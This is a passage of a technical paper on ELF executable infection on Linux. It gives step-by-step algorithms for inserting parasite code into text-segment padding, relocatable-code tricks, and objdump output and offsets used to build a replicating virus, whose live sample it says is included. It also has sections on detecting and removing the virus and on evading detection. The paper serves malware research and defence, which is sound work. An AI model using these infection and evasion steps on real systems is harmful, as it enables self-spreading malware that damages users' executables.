  Elf32_Off     e_phoff;                /* Program header table file offset */
  Elf32_Off     e_shoff;                /* Section header table file offset */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size */
  Elf32_Half    e_phnum;                /* Program header table entry count */
  Elf32_Half    e_shentsize;            /* Section header table entry size */
  Elf32_Half    e_shnum;                /* Section header table entry count */
  Elf32_Half    e_shstrndx;             /* Section header string table index */
} Elf32_Ehdr;

e_entry is the entry point of the program given as a virtual address.  For
knowledge of the memory layout of the process image and the segments that
compromise it stored in the ELF object see the Program Header information
below.

e_phoff gives use the file offset for the start of the program header table.
Thus to read the header table (and the associated loadable segments), you may
lseek to that position and read e_phnum*sizeof(Elf32_Pdr) bytes associated with
the program header table.

It can also be seen, that the section header table file offset is also given.
It was previously mentioned that the section table resides at the end of
the file, so after inserting of data at the end of the segment on file, the
offset must be updated to reflect the new position.

/* Program segment header.  */

typedef struct
{
  Elf32_Word    p_type;                 /* Segment type */
  Elf32_Off     p_offset;               /* Segment file offset */
  Elf32_Addr    p_vaddr;                /* Segment virtual address */
  Elf32_Addr    p_paddr;                /* Segment physical address */
  Elf32_Word    p_filesz;               /* Segment size in file */
  Elf32_Word    p_memsz;                /* Segment size in memory */
  Elf32_Word    p_flags;                /* Segment flags */
  Elf32_Word    p_align;                /* Segment alignment */
} Elf32_Phdr;

Loadable program segments (text/data) are identified in a program header by a
p_type of PT_LOAD (1).  Again as with the e_shoff in the ELF header, the
file offset (p_offset) must be updated in later phdr's to reflect their new
position in the file.

p_vaddr identifies the virtual address of the start of the segment.  As
mentioned above regarding the entry point.  It is now possible to identify
where program flow begins, by using p_vaddr as the base index and calculating
the offset to e_entry.

p_filesz and p_memsz are the file sizes and memory sizes respectively that
the segment occupies.  The use of this scheme of using file and memory sizes,
is that where its not necessary to load memory in the process from disk, you
may still be able to say that you want the process image to occupy its
memory.

The .bss section (see below for section definitions), which is for uninitialized
data in the data segment is one such case.  It is not desirable that
uninitialized data be stored in the file, but the process image must allocated
enough memory.  The .bss section resides at the end of the segment and any
memory size past the end of the file size is assumed to be part of this
section.

/* Section header.  */

typedef struct
{
  Elf32_Word    sh_name;                /* Section name (string tbl index) */
  Elf32_Word    sh_type;                /* Section type */
  Elf32_Word    sh_flags;               /* Section flags */
  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */
  Elf32_Off     sh_offset;              /* Section file offset */
  Elf32_Word    sh_size;                /* Section size in bytes */
  Elf32_Word    sh_link;                /* Link to another section */
  Elf32_Word    sh_info;                /* Additional section information */
  Elf32_Word    sh_addralign;           /* Section alignment */
  Elf32_Word    sh_entsize;             /* Entry size if section holds table */
} Elf32_Shdr;

The sh_offset is the file offset that points to the actual section.  The
shdr should correlate to the segment its located it.  It is highly suspicious
if the vaddr of the section is different to what is in from the segments
view.

To insert code at the end of the text segment thus leaves us with the following
to do so far.

  * Increase p_shoff to account for the new code in the ELF header
  * Locate the text segment program header
    * Increase p_filesz to account for the new code
    * Increase p_memsz to account for the new code
  * For each phdr who's segment is after the insertion (text segment)
    * increase p_offset to reflect the new position after insertion
  * For each shdr who's section resides after the insertion
    * Increase sh_offset to account for the new code
  * Physically insert the new code into the file - text segment p_offset
    + p_filesz (original)

There is one hitch however. Following the ELF specifications, p_vaddr and
p_offset in the Phdr must be congruent together, to modulo the page size.

key:  ~= is denoting congruency.

  p_vaddr (mod PAGE_SIZE) ~= p_offset (mod PAGE_SIZE)

This means, that any insertion of data at the end of the text segment on the
file must be congruent modulo the page size.  This does not mean, the text
segment must be increased by such a number, only that the physical file be
increased so.

This also has an interesting side effect in that often a complete page must be
used as padding because the required vaddr isn't available.  The following
may thus happen.

key:
  [...]  A complete page
  T  Text
  D  Data
  P  Padding

Page Nr
#1  [TTTTTTTTTTTTPPPP]    <- Text segment
#2  [PPPPPPPPPPPPPPPP]    <- Padding
#3  [PPPPDDDDDDDDPPPP]    <- Data segment

This can be taken advantage off in that it gives the parasite code more space,
such a spare page cannot be guaranteed.

To take into account of the congruency of p_vaddr and p_offset, our algorithm
is modified to appear as this.

  * Increase p_shoff by PAGE_SIZE in the ELF header
  * Locate the text segment program header
    * Increase p_filesz by account for the new code
    * Increase p_memsz to account for the new code
  * For each phdr who's segment is after the insertion (text segment)
    * increase p_offset by PAGE_SIZE
  * For each shdr who's section resides after the insertion
    * Increase sh_offset by PAGE_SIZE
  * Physically insert the new code and pad to PAGE_SIZE, into the file -
    text segment p_offset + p_filesz (original)

Now that the process image loads the new code into being, to run the new code
before the host code is a simple matter of patching the ELF entry point and
the virus jump to host code point.

The new entry point is determined by the text segment v_addr + p_filesz
(original) since all that is being done, is the new code is directly prepending
the original host segment.  For complete infection code then.

  * Increase p_shoff by PAGE_SIZE in the ELF header
  * Patch the insertion code (parasite) to jump to the entry point
    (original)
  * Locate the text segment program header
    * Modify the entry point of the ELF header to point to the new
      code (p_vaddr + p_filesz)
    * Increase p_filesz by account for the new code (parasite)
    * Increase p_memsz to account for the new code (parasite)
  * For each phdr who's segment is after the insertion (text segment)
    * increase p_offset by PAGE_SIZE
  * For each shdr who's section resides after the insertion
    * Increase sh_offset by PAGE_SIZE
  * Physically insert the new code (parasite) and pad to PAGE_SIZE, into
    the file - text segment p_offset + p_filesz (original)

This, while perfectly functional, can arouse suspicion because the the new
code at the end of the text segment isn't accounted for by any sections.
Its an easy matter to associate the entry point with a section however by
extending its size, but the last section in the text segment is going to look
suspicious.  Associating the new code to a section must be done however as
programs such as 'strip' use the section header tables and not the program
headers.  The final algorithm is using this information is.

  * Increase p_shoff by PAGE_SIZE in the ELF header
  * Patch the insertion code (parasite) to jump to the entry point
    (original)
  * Locate the text segment program header
    * Modify the entry point of the ELF header to point to the new
      code (p_vaddr + p_filesz)
    * Increase p_filesz by account for the new code (parasite)
    * Increase p_memsz to account for the new code (parasite)
  * For each phdr who's segment is after the insertion (text segment)
    * increase p_offset by PAGE_SIZE
  * For the last shdr in the text segment
    * increase sh_len by the parasite length
  * For each shdr who's section resides after the insertion
    * Increase sh_offset by PAGE_SIZE
  * Physically insert the new code (parasite) and pad to PAGE_SIZE, into
    the file - text segment p_offset + p_filesz (original)

infect-elf-p is the supplied program (complete with source) that implements
the elf infection using text segment padding as described.

INFECTING INFECTIONS

In the parasite described, infecting infections isn't a problem at all.  By
skipping executables that don't have enough padding for the parasite, this
is solved implicitly.  Multiple parasites may exist in the host, but their is
a limit of how many depending on the size of the parasite code.

NON (NOT AS) TRIVIAL PARASITE CODE

Parasite code that requires memory access requires the stack to be used
manually naturally.  No bss section can be used from within the virus code,
because it can only use part of the text segment.  It is strongly suggested
that rodata not be used, in-fact, it is strongly suggested that no location
specific data be used at all that resides outside the parasite at infection
time.

Thus, if initialized data is to be used, it is best to place it in the text
segment, ie at the end of the parasite code - see below on calculating address
locations of initialized data that is not known at compile/infection time.

If the heap is to be used, then it will be operating system dependent.  In
Linux, this is done via the 'brk' syscall.

The use of any shared library calls from within the parasite should be removed,
to avoid any linking problems and to maintain a portable parasite in files
that use varying libraries.  It is thus naturally recommended to avoid using
libc.

Most importantly, the parasite code must be relocatable.  It is possible to
patch the parasite code before inserting it, however the cleanest approach
is to write code that doesn't need to be patched.

In x86 Linux, some syscalls require the use of an absolute address pointing to
initialized data.  This can be made relocatable by using a common trick used
in buffer overflow code.

  jmp  A
B:
  pop %eax  ; %eax now has the address of the string
  .    ; continue as usual
  .
  .

A:
  call B
.string \"hello\"

By making a call directly proceeding the string of interest, the address of
the string is pushed onto the stack as the return address.

BEYOND ELF PARASITES AND ENTER VIRUS IN UNIX

In a UNIX environment the most probably method for a typical garden variety
virus to spread is through infecting files that it has legal permission to do
so.  

A simple method of locating new files possible to infect, is by scanning the
current directory for writable files.  This has the advantage of being
relatively fast (in comparison to large tree walks) but finds only a small
percentage of infect-able files.

Directory searches are however very slow irrespectively, even without large
tree walks.  If parasite code does not fork, its very quickly noticed what is
happening.  In the sample virus supplied, only a small random set of files
in the current directory are searched.

Forking, as mentioned, easily solves the problem of slowing the startup to
the host code, however new processes on the system can be spotted as abnormal
if careful observation is used.

The parasite code as mentioned, must be completely written in machine code,
this does not however mean that development must be done like this.
Development can easily be done in a high level language such as C and then
compiled to asm to be used as parasite code.

A bootstrap process can be used for initial infection of the virus into a host
program that can then be distributed.  That is, the ELF infector code is used,
with the virus as the parasite code to be inserted.

THE LINUX PARASITE VIRUS

This virus implements the ELF infection described by utilizing the padding at
the end of the text segment.  In this padding, the virus in its entirety is
copied, and the appropriate entry points patched.

At the end of the parasite code, are the instructions.

  movl  %ebp, $XXXX
  jmp  *%ebp

XXXX is patched when the virus replicates to the host entry point.  This
approach does have the side effect of trashing the ebp register which may or
may not be destructive to programs who's entry points depend on ebp being set
on entry.  In practice, I have not seen this happen (the implemented Linux
virus uses the ebp approach), but extensive replicating has not been performed.

On execution of an infected host, the virus will copy the parasite (virus)
code contained in itself (the file) into memory.

The virus will then scan randomly (random enough for this instance) through
the current directory, looking for ELF files of type ET_EXEC or ET_DYN to
infect.  It will infect up to Y_INFECT files, and scan up to N_INFECT files in
total.

If a file can be infected, ie, its of the correct ELF type, and the padding
can sustain the virus, a a modified copy of the file incorporating the virus
is made.  It then renames the copy to the file its infecting, and thus it
is infected.

Due to the rather large size of the virus in comparison to the page size
(approx 2.3k) not all files are able to be infected, in fact only near half on
average.

DEVELOPMENT OF THE LINUX VIRUS

The Linux virus was completely written in C, and strongly based around the
ELF infector code.  The C code is supplied as elf-p-virus.c  The code requires
the use of no libraries, and avoids libc by using a similar scheme to the
_syscall declarations Linux employs modified not to use errno.

Heap memory was used for dynamic allocation of the phdr and shdr tables using
'brk'.

Linux has some syscalls which require the address of initialized strings to
be passed to it, notably, open, rename, and unlink.  This requires initialized
data storage.  As stated before, rodata cannot be used, so this data was
placed at the end of the code.  Making it relocatable required the use of the
above mentioned algorithm of using call to push the address (return value)
onto the stack.  To assist in the asm conversion, extra variables were
declared so to leave room on the stack to store the addresses as in some
cases the address was used more than once.

The C code form of the virus allowed for a debugging version which produces
verbose output, and allows argv[0] to be given as argv[1].  This is
advantageous because you can setup a pseudo infected host which is non
replicating.  Then run the virus making argv[0] the name of the pseudo infected
host.  It would replicate the parasite from that host.  Thus it was possible to
test without having a binary version of a replicating virus.

The C code was converted to asm using the c compiler gcc, with the -S flag to
produce assembler.  Modifications were made so that use of rodata for
initialized data (strings for open, unlink, and rename), was replaced with
the relocatable data using the call address methodology.

Most of the registers were saved on virus startup and restored on exit
(transference of control to host).

The asm version of the virus, can be improved tremendously in regards to
efficiency, which will in turn improve the expected life time and replication
of the virus (a smaller virus can infect more objects, where previously the
padding would dictate the larger virus couldn't infect it).  The asm virus was
written with development time the primary concern and hence almost zero time
was spent on hand optimization of the code gcc generated from the C version.
In actual fact, less than 5 minutes were spent in asm editing - this is
indicative that extensive asm specific skills are not required for a non
optmised virus.

The edited asm code was compiled (elf-p-virus-egg.c), and then using objdump
with the -D flag, the addresses of the parasite start, the required offsets for
patching were recorded.  The asm was then edited again using the new
information.  The executeable produced was then patched manually for any bytes
needed. elf-text2egg was used to extract hex-codes for the complete length of
the parasite code usable in a C program, ala the ELF infector code.  The ELF
infector was then recompiled using the virus parasite.

# objdump -D elf-p-virus-egg
.
.
08048143 <time>:
 8048143:       55              pushl  %ebp
.
.
08048793 <main0>:
 8048793:       55              pushl  %ebp
.
.
 80487f8:       6a 00           pushl  $0x0
 80487fa:       68 7e 00 00 00  pushl  $0x7e
 80487ff:       56              pushl  %esi
 8048800:       e8 2e fa ff ff  call   8048233 <lseek>
.
.
 80489ef:       bd 00 00 00 00  movl   $0x0,%ebp
 80489f4:       ff e5           jmp    *%ebp

080489f6 <dot_jump>:
 80489f6:       e8 50 fe ff ff  call   804884b <dot_call>
 80489fb:       2e 00 e8        addb   %ch,%al

080489fd <tmp_jump>:
 80489fd:       e8 52 f9 ff ff  call   8048354 <tmp_call>
 8048a02:       2e 76 69        jbe    8048a6e <init+0x4e>
 8048a05:       33 32           xorl   (%edx),%esi
 8048a07:       34 2e           xorb   $0x2e,%al
 8048a09:       74 6d           je     8048a78 <init+0x58>
 8048a0b:       70 00           jo     8048a0d <tmp_jump+0x10>

0x8048143 specifies the start of the parasite (time).
0x8048793 is the entry point (main0).
0x80487fb is the lseek offset which is the offset in argv[0] to the parasite.
0x80489f0 is the host entry point.
0x8048a0d is the end of the parasite (not inclusive).

0x8048a0d - 0x8048143 (2250)is the parasite length.
0x8048793 - 0x8048143 (1616) is the entry point as a parasite offset.
0x80487fb - 0x8048143 (1720) is the seek offset as a parasite offset.
0x80489f0 - 0x8048143 (2221) is the host entry point as a parasite offset.

# objdump --all-headers elf-p-virus-egg
.
.
Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00015960 memsz 0x00015960 flags r-x
.
.

The seek offset as a file offset is 0x80487fb - 0x08048000 + 0x00000000 (2043)
(<seek address from above> - <vaddr> + <off>)

To patch the initial seek offset, an infection must be manually performed,
and the offset recorded.  The infected host is not functional in this form.

# infect-elf-p host
Parasite length: 2251, Host entry point index: 2221, Entry point offset: 1616
Host entry point: 0x8048074
Padding length: 3970
New entry point: 0x80486ce
Parasite file offset: 126
Infection Done
# vpatch elf-p-virus-egg 2043 126

The supplied program elf-egg2text will convert the address range specified
on the command line, and found using the ELF loadable segments in the file to
a hex string for use in C.

usage: elf-egg2text filename start stop

# elf-egg2text elf-p-virus-egg 0x08048143 0x8048a0d > parasite-v.c

parasite-v.c was edited manually to declare the hex string as the variabled
char parasite[], and likewise these variables were declared.

long hentry = 2221;
long entry = 1616;
int plength = 2250;

The infector was recompiled and thus can infect the host it was compiled for
making it a live virus.  null-carrier is the supplied host program that the
infector is compiled for.

This completed the manual infection of the virus to a host.  The newly infected
host would then attempt replication on execution.  A live virus has been
included in the source package (live-virus-be-warned).  A simplified carrier
program (carrier.S) was used to host the virus (null-carrier is the unfected
host as stated).

IMPROVING THE LINUX VIRUS

The first major change that would increase the life time and replication rates
of the virus is to optimise the code to be space efficient.  Looking at a 50%
size decrease is probably realistic when optimised.

The replication is notable rather slow scanning only the current directory.
The virus may be modified to do small tree walks increasing infection rates
dramatically.

The virus is easily detected - see below.

VIRUS DETECTION

The virus described is relatively easy to detect.  The blatant oddity is that
the entry point of the program isn't in a normal section or not in a section at
all.

Typically the last section in the text segment is .rodata which obviously
shouldn't be the entry point.  Likewise, it is suspicious if a program does
not have a corresponding section then this arouses any would be virus scanner.
Also if no section table at all, which will disguise what section the entry
point is in, is certainly an odd event (even though this is optional).

Removal of the virus described here, is similar to infection, requiring
deletion of the virus code, modification of the ELF headers to reflect segment
relocation in the file and patching of the entry point to jump to the proper
code.

Location of the correct entry point can be easily seen by disassembling the
executable using objdump, matching the entry point of the infected file to
the disassembled code, and tracing through the code to find where the parasite
code returns flow back to the host.

$ objdump --all-headers host    # a parasite infected host

>host:     file format elf32-i386
>host
>architecture: i386, flags 0x00000112:
>EXEC_P, HAS_SYMS, D_PAGED
>start address 0x08048522

.
.

The entry point is thus seen as 0x08048522, the entry point of the suspected
parasite code.

$ disassemble --disassemble-all host

>host:     file format elf32-i386
>
>Disassembly of section .interp:
>
>080480d4 <.interp>:
> 80480d4:       2f              das
> 80480d5:       6c              insb   (%dx),%es:(%edi)

.
.

>Disassembly of section .text:
>
>08048400 <_start>:
> 8048400:       31 ed           xorl   %ebp,%ebp
> 8048402:       85 d2           testl  %edx,%edx
> 8048404:       74 07           je     804840d <_start+0xd>

.
.

>Disassembly of section .rodata:
>
>0804851c <.rodata>:
> 804851c:       48              decl   %eax
> 804851d:       6f              outsl  %ds:(%esi),(%dx)
> 804851e:       73 74           jae    8048594 <_fini+0x94>
> 8048520:       0a 00           orb    (%eax),%al
> 8048522:       b8 00 84 04 08  movl   $0x8048400,%eax
> 8048527:       ff e0           jmp    *%eax
>        ...
>Disassembly of section .data:

.
.

Looking at the entry point code, which looks obviously to be parasite code
since its residing in the .rodata section, we have.

movl  $0x8048400,%eax
jmp  *%eax

This code is easily seen to be jumping to _start, the original host code.

# entry host 0x808400

The parasite code is thus easily removed from program flow by patching the
entry point to skip the parasite code.

On occasion no section matches the parasite code and hence the entry point. 
objdump will only disassemble sections so thus we cant see the parasite code as
is.  However, gdb can be used to disassemble manually, and the same method of
manually finding the host entry point can be used as above.

Automated virus detection of these variety of UNIX virus is practical by
detecting missing section headers and/or entry points to non permissible
sections or segments.

Typically, the default entry point is _start, however this can be changed in
linking.  If a virus has been found in a file, and the host entry point is
indeterminable for any reason, it may be beneficial to patch the entry point
to _start.  This however is still guesswork and not totally reliable.

Typical general virus detection algorithms are directly applicable in UNIX,
including signature strings, code flagging, file integrity checking etc.

EVADING VIRUS DETECTION IN ELF INFECTION

The major problem in terms of evading detection with the parasite described,
is that the entry point changes to a suspicious position.

Ideally, the entry point of the program either wouldn't change or stay within
expected sections.

A possible method using the parasite described would be to find unused memory
in normal entry point sections such as the .text section, and insert code to
jump to the parasite code.  This would require only a small number of bytes,
and such empty space is common, as can be noted by looking through disassembly
of executables.

Alternatively, one of the original ideas of where to insert the parasite code,
thrown away,  by extending the text segment backwards may be possible.  The
parasite code and entry point would belong in the .text section and thus
seemingly be quite normal.

CONCLUSION

The algorithms and implementation presented gives a clear example and proof of
concept that UNIX while not popular for, is actually a viable breeding ground
for parasites and virus.

--
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`
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